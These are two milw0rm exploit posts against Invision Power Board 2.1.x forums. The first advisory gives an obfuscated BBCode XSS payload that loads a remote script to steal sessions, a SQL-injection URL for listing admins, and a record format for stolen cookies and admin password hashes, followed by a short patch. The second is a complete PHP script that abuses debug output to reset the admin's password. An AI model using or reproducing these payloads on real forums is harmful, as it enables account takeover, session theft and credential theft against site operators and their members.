----[ INVISION POWER BOARD 2.1.7 EXPLOIT ... ITDefence.ru Antichat.ru ]

						INVISION POWER BOARD 2.1.7 ACTIVE XSS/SQL INJECTION
							Eugene Minaev underwater@itdefence.ru
				___________________________________________________________________
			____/  __ __ _______________________ _______  _______________    \  \   \
			/ .\  /  /_// //              /        \       \/      __       \   /__/   /
			/ /     /_//              /\        /       /      /         /     /___/
			\/        /              / /       /       /\     /         /         /
			/        /               \/       /       / /    /         /__       //\
			\       /    ____________/       /        \/    __________// /__    // /   
			/\\      \_______/        \________________/____/  2007    /_//_/   // //\
			\ \\                                                               // // /
			.\ \\        -[     ITDEFENCE.ru Security advisory     ]-         // // / . 
			. \_\\________[________________________________________]_________//_//_/ . .
		 
		----[ NITRO ... ]
		
		This vulnerability was already found before, but there was no available 
		public "figting" exploit for it. This POC consists of several parts - active xss generator, 
		JS-file, which will be caused at visiting page with xss, log viewer and special component,
		which will take necessary data from MySQL forum's tables in case if intercepted session
		belonged to the person with moderator privileges. 
		
		----[ ANALYSIS ... ]
		
		XSS.php is one of the most important part of IPB 2.1.7 POC package, as it generates xss for 
		future injetion on the forum board. As the reference it is necessary to specify the full way 
		up to ya.js file (in which you have already preliminary corrected way on your own). Most likely 
		it is necessary only to press the button. 
		
		[img]http://www.ya.ru/[snapback]	onerror=script=document.createElement(String.fromCharCode(115,99,114,
		105,112,116)),script.src=/http:xxdaim.ruxmonzterxforum/.source.replace(/x/g,String.fromCharCode(47)),
		head=document.getElementsByTagName(String.fromCharCode(104,101,97,100)).item(0),head.appendChild(script)
		style=visibility:hidden	=[/snapback].gif[/img]
		
		The injection can be executed only when there is available session of the user with access 
		in moderator's panel.It is necessary to result "starter" parameter to numerical by means of "intval" 
		function.In case of successfull injection there is an oppotunity to enumerate forums' administrators team:
		
		index.php?act=mod&f=-6&CODE=prune_finish&pergo=50&current=50&max=3&starter=1+union+select+1/*
		
		----[ RECORD ... ]
		{
		
			---IP ADDRESS	sniffed ip address
			---REFERER		xssed theme
			---COOKIES 		xssed cookies of forum member
			---USER ID		xssed user id of forum member
			---ADMIN NAME	admin username
			---ADMIN PASS	admin pass hash
			---ADMIN SALT	admin hash salt
			
		}
		
		----[ PATCH ... ]
		
		FILE 
			sources/classes/bbcode/class_bbcode_core.php
		FUNCTION
			regex_check_image
		LINE
			924
		REPLACE
			if ( preg_match( "/[?&;]/", $url) )
		ON
			if ( preg_match( "/[?&;\<\[]/", $url) ) 
			
			
		FILE
			sources/classes/bbcode/class_bbcode_core.php
		FUNCTION
			post_db_parse_bbcode
		LINE
			486
		REPLACE
			preg_match_all( "#(\[$preg_tag\])((?!\[/$preg_tag\]).+?)?(\[/$preg_tag\])#si", $t, $match );
		ON
			preg_match_all( "#(\[$preg_tag\])((?!\[/$preg_tag\]).+?)?(\[/$preg_tag\])#si", $t, $match );

			if ( $row['bbcode_tag'] == 'snapback' )
			{	
				$match[2][$i] = intval( $match[2][$i] );
			}  
			
			
		
		www.underwater.itdefence.ru/isniff.rar
		www.milw0rm.com/sploits/2008-isniff.rar

----[ FROM RUSSIA WITH LOVE :: underWHAT?! , gemaglabin ]

# milw0rm.com [2008-01-05]

<?php
/*

 Debug Mode password change vulnerability
 Affects Invision Power Borard 2.0.0 to 2.1.7
 by Rapigator
 
 This works if:

 "Debug Level" is set to 3
 or
 Enable SQL Debug Mode is turned on
 
 In General Configuration of the forum software.

*/

// The forum's address up to and including 'index.php'
$site = "http://localhost/forums/index.php";

// An existing user's login name
$name = "admin";

// The new password(3-32 characters)
$pass = "1234";

// You can use a proxy...
// $proxy = "1.2.3.4:8080";



// -----------------------------
$site .= "?";
$suffix = "";
$name = urlencode($name);
$pass = urlencode($pass);
$curl = curl_init($site.'act=Reg&CODE=10');
curl_setopt($curl, CURLOPT_PROXY, $proxy);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_TIMEOUT, 10);
$page = curl_exec($curl);
curl_close($curl);
if (preg_match('/<span class=\'green\'>INSERT<\/span> INTO <span class=\'purple\'>([\\w]*?)_reg_antispam<\/span> \\(regid,regcode,ip_address,ctime\\) VALUES\\(\'([\\w]{32}?)\',([\\d]*?),/', $page, $regs)) {
	$prefix = $regs[1];
	$regid = $regs[2];
	$regcode = $regs[3];
} else {
	$suffix = "&debug=1";
	$curl = curl_init($site.'act=Reg&CODE=10'.$suffix);
	curl_setopt($curl, CURLOPT_PROXY, $proxy);
	curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
	curl_setopt($curl, CURLOPT_TIMEOUT, 10);
	$page = curl_exec($curl);
	curl_close($curl);
	if (preg_match('/INSERT INTO ([\\w]*?)_reg_antispam \\(regid,regcode,ip_address,ctime\\) VALUES\\(\'([\\w]{32}?)\',([\\d]*?),/', $page, $regs)) {
		$prefix = $regs[1];
		$regid = $regs[2];
		$regcode = $regs[3];
	}
}
if (!isset($regid) || !isset($regcode)) {
	echo "Error: Probably not vulnerable, or no forum found";
	exit;
}

$curl = curl_init($site.$suffix);
curl_setopt($curl, CURLOPT_PROXY, $proxy);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_POST, 1);
curl_setopt($curl, CURLOPT_POSTFIELDS, "act=Reg&CODE=11&member_name={$name}&regid={$regid}&reg_code={$regcode}");
curl_setopt($curl, CURLOPT_TIMEOUT, 10);
$page = curl_exec($curl);
curl_close($curl);
if (preg_match('/<span class=\'green\'>INSERT<\/span> INTO <span class=\'purple\'>'.$prefix.'_validating<\/span> \\(vid,member_id,real_group,temp_group,entry_date,coppa_user,lost_pass,ip_address\\) VALUES\\(\'([\\w]{32}?)\',([\\d]{1,32}?),/', $page, $regs)) {
	change_pass($regcode,$regid,$regs[1],$regs[2]);
}
if (preg_match('/INSERT INTO '.$prefix.'_validating \\(vid,member_id,real_group,temp_group,entry_date,coppa_user,lost_pass,ip_address\\) VALUES\\(\'([\\w]{32}?)\',([\\d]{1,32}?),/', $page, $regs)) {
	change_pass($regcode,$regid,$regs[1],$regs[2]);
}

function change_pass($regcode,$regid,$vid,$userid) {
	global $site, $proxy, $name, $pass;
	$curl = curl_init($site.$suffix);
	curl_setopt($curl, CURLOPT_PROXY, $proxy);
	curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
	curl_setopt($curl, CURLOPT_POST, 1);
	curl_setopt($curl, CURLOPT_POSTFIELDS, "act=Reg&CODE=03&type=lostpass&uid={$userid}&aid={$vid}&regid={$regid}&reg_code={$regcode}&pass1={$pass}&pass2={$pass}");
	curl_setopt($curl, CURLOPT_TIMEOUT, 10);
	$page = curl_exec($curl);
	curl_close($curl);
	echo "Password Changed!";
	exit;
}
?>

# milw0rm.com [2006-11-01]